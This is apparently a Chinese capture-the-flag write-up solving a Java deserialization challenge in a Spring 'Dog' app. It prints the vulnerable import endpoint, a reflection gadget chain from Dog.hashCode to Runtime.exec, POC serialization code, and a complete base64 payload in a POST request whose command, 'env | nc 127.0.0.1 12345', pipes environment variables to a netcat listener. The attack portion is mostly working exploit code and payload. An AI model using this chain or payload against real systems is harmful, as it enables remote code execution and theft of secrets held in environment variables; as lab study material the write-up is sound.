关键函数
Dog类:
public int hashCode() {
System.out.println("hashCode"+" "+this.object.getClass()+" "+this.methodName);
this.wagTail(this.object, this.methodName, this.paramTypes, this.args);
return Objects.hash(new Object[]{this.id});
}
default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
try {
Class cls = input.getClass();
Method method = cls.getMethod(methodName, paramTypes);
return method.invoke(input, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
DogService类:
public Object chainWagTail() {
Object input = null;
for(Dog dog : this.dogs.values()) {
if (input == null) {
input = dog.object;
}
Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
input = result;
}
return input;
}
public void importDogsBase64(String base64Data) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data))) {
ObjectInputStream ois = new ObjectInputStream(bais);
Throwable var5 = null;
try {
for(Dog dog : (Collection)ois.readObject()) {
dog.setId(this.nextId++);
this.dogs.put(dog.getId(), dog);
}
} catch (Throwable var32) {
var5 = var32;
throw var32;
} finally {
if (ois != null) {
if (var5 != null) {
try {
ois.close();
} catch (Throwable var31) {
var5.addSuppressed(var31);
}
} else {
ois.close();
}
}
}
} catch (ClassNotFoundException | IOException e) {
((Exception)e).printStackTrace();
}
}
DogController类:
@PostMapping({"/import"})
public String importDogs(@RequestParam("data") String base64Data) {
this.dogService.importDogsBase64(base64Data);
return "导入成功!";
}
链子:
实际运行链:DogController.importDogs() => ois.readObject() => Dog.hashCode() => DogService.chainWagTail() => Dog.wagTail() => Dog.wagTail() => Dog.wagTail() => Dog.wagTail() => Dog.wagTail()
其中四次wagTail为chainWagTail的内部循环,也就是dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);的输出值为下一个的输入值(此处需利用反射)
所以我们这里想到一段非常经典的代码(好吧,也可以从CC1链的角度考虑)
T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","xxx"})
即
Class.forName("java.lang.Runtime").getMethod("exec",new Class[]{String.class}).invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(
Class.forName("java.lang.Runtime")
),
new String[]{"/bin/bash","-c","xxx"}
)
//Class.forName()根据类的完全限定名(字符串)动态加载并返回Class对象;object.getClass()返回对象的运行时类型的Class对象;而.class不需要实例,可以直接用,比如Runtime.class、Object.class
所以我们利用该函数来实现以上代码
for(Dog dog : this.dogs.values()) {
if (input == null) {
input = dog.object;
}
Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
input = result;
}
即
for(Dog dog : this.dogs.values()) {
if (input == null) {
input = dog.object;
}
Object result = input.getClass().getMethod(dog.methodName, dog.paramTypes).invoke(input, dog.args);
input = result;
}
所以执行顺序须为:
result = Class.class.forName("java.lang.Runtime");//得到java.lang.Runtime的Class对象
result = Runtime.class.getMethod("getRuntime", new Class[0]);//获取Runtime类的getRuntime静态方法对象
result = java.lang.reflect.Method.invoke(null, new Object[0]);//获取Runtime对象(由于是静态方法调用,invoke不需要实例对象)
result = Runtime.getRuntime().exec(new String[]{"sh", "-c", "env | nc 127.0.0.1 12345"}});//最终达到命令执行的效果
在执行过程中调试打印结果:
Input is not an instance of Dog. Class: java.lang.Class
result java.lang.Class
getMethod1
Input is not an instance of Dog. Class: java.lang.Class
result java.lang.reflect.Method
invoke1
Input is not an instance of Dog. Class: java.lang.reflect.Method
result java.lang.Runtime
exec1
Input is not an instance of Dog. Class: java.lang.Runtime
result java.lang.UNIXProcess
从上面的执行链编写POC链:先序列化4条dog,然后通过DogService.importDogsBase64() 存入
dog.object=Class.class;
dog.methodName= "forName";
dog.paramTypes=new Class[]{String.class};
dog.args=new Object[]{"java.lang.Runtime"};
dog1.object=null;
dog1.methodName= "getMethod";
dog1.paramTypes=new Class[]{String.class, Class[].class};
dog1.args=new Object[]{"getRuntime", new Class[0]};
dog2.object=null;
dog2.methodName= "invoke";
dog2.paramTypes=new Class[]{Object.class, Object[].class};
dog2.args=new Object[]{null, new Object[0]};
dog3.object=null;
dog3.methodName= "exec";
dog3.paramTypes=new Class[]{ String[].class};
dog3.args= new Object[]{ new String[]{"sh", "-c", "env | nc 127.0.0.1 12345"}};
写触发hashcode的类,仿照URLDNS那条链子
Dog dog4= new Dog(1,"1","1",1);
dog4.object=null;
dog4.methodName= "chainWagTail";
dog4.paramTypes=new Class[]{};
dog4.args =new Object[]{};
dog4.equals(this.dogService);
HashMap ht = new HashMap();
ht.put(dog4,'1');
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(ht);
String encodedBytes4 = base64Encode(btout.toByteArray());
System.out.println("dog4: " + encodedBytes4);
序列化dog4时,我由于在DogController类下做序列化(应该在其他类也可以),因为不能新new一个DogService类,Dog中object等类为包级访问权限,在其他包做序列化时,需注意改一下Dog的equals函数,在第一行加入this.object = o;
serialVersionUID是用于在序列化和反序列化过程中进行核验的一个版本号,基于以下结构信息计算:
- 类名
- 类修饰符
- 实现的接口(按字母顺序)
- 字段(名称、类型、修饰符)
- 构造器签名(参数类型、修饰符)
- 方法签名(方法名、参数类型、返回类型、修饰符)
所以函数方法体内容变更,并不会影响serialVersionUID,仍可正常用于序列化
最后的dog4会包括前面所执行的所有步骤,所以在真实环境只用上传dog4的序列化内容即可。最终Payload,监听本地12345端口即可
POST /dogs/import?data=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAGGNvbS5leGFtcGxlLmRlbW8uRG9nLkRvZ/exKIUKvpXqAgAJSQADYWdlSQAGaHVuZ2VySQACaWRbAARhcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wABWJyZWVkdAASTGphdmEvbGFuZy9TdHJpbmc7TAAKbWV0aG9kTmFtZXEAfgAETAAEbmFtZXEAfgAETAAGb2JqZWN0dAASTGphdmEvbGFuZy9PYmplY3Q7WwAKcGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwAAAAAQAAADIAAAABdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAHQAATF0AAxjaGFpbldhZ1RhaWxxAH4ACnNyAB9jb20uZXhhbXBsZS5kZW1vLkRvZy5Eb2dTZXJ2aWNlDbfwhpGRhCMCAAJJAAZuZXh0SWRMAARkb2dzdAAPTGphdmEvdXRpbC9NYXA7eHAAAAAFc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAEc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcQB%2bAAIAAAABAAAAMgAAAAF1cQB%2bAAgAAAABdAARamF2YS5sYW5nLlJ1bnRpbWV0AAExdAAHZm9yTmFtZXEAfgAWdnIAD2phdmEubGFuZy5DbGFzcyx%2bVQPZv5VTAgAAeHB1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHBzcQB%2bABAAAAACc3EAfgACAAAAAQAAADIAAAACdXEAfgAIAAAAAnQACmdldFJ1bnRpbWV1cQB%2bABoAAAAAdAABMXQACWdldE1ldGhvZHEAfgAjcHVxAH4AGgAAAAJxAH4AHXZxAH4AGnNxAH4AEAAAAANzcQB%2bAAIAAAABAAAAMgAAAAN1cQB%2bAAgAAAACcHVxAH4ACAAAAAB0AAExdAAGaW52b2tlcQB%2bACtwdXEAfgAaAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4ACHNxAH4AEAAAAARzcQB%2bAAIAAAABAAAAMgAAAAR1cQB%2bAAgAAAABdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAA3QAAnNodAACLWN0ABhlbnYgfCBuYyAxMjcuMC4wLjEgMTIzNDV0AAExdAAEZXhlY3EAfgA5cHVxAH4AGgAAAAF2cQB%2bADR4dXEAfgAaAAAAAHNyABNqYXZhLmxhbmcuQ2hhcmFjdGVyNItH2WsaJngCAAFDAAV2YWx1ZXhwADF4 HTTP/1.1
Host: 127.0.0.1:53568
Content-Length: 0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Accept: */*
Origin: http://127.0.0.1:53568
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:53568/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
2176

被折叠的 条评论
为什么被折叠?



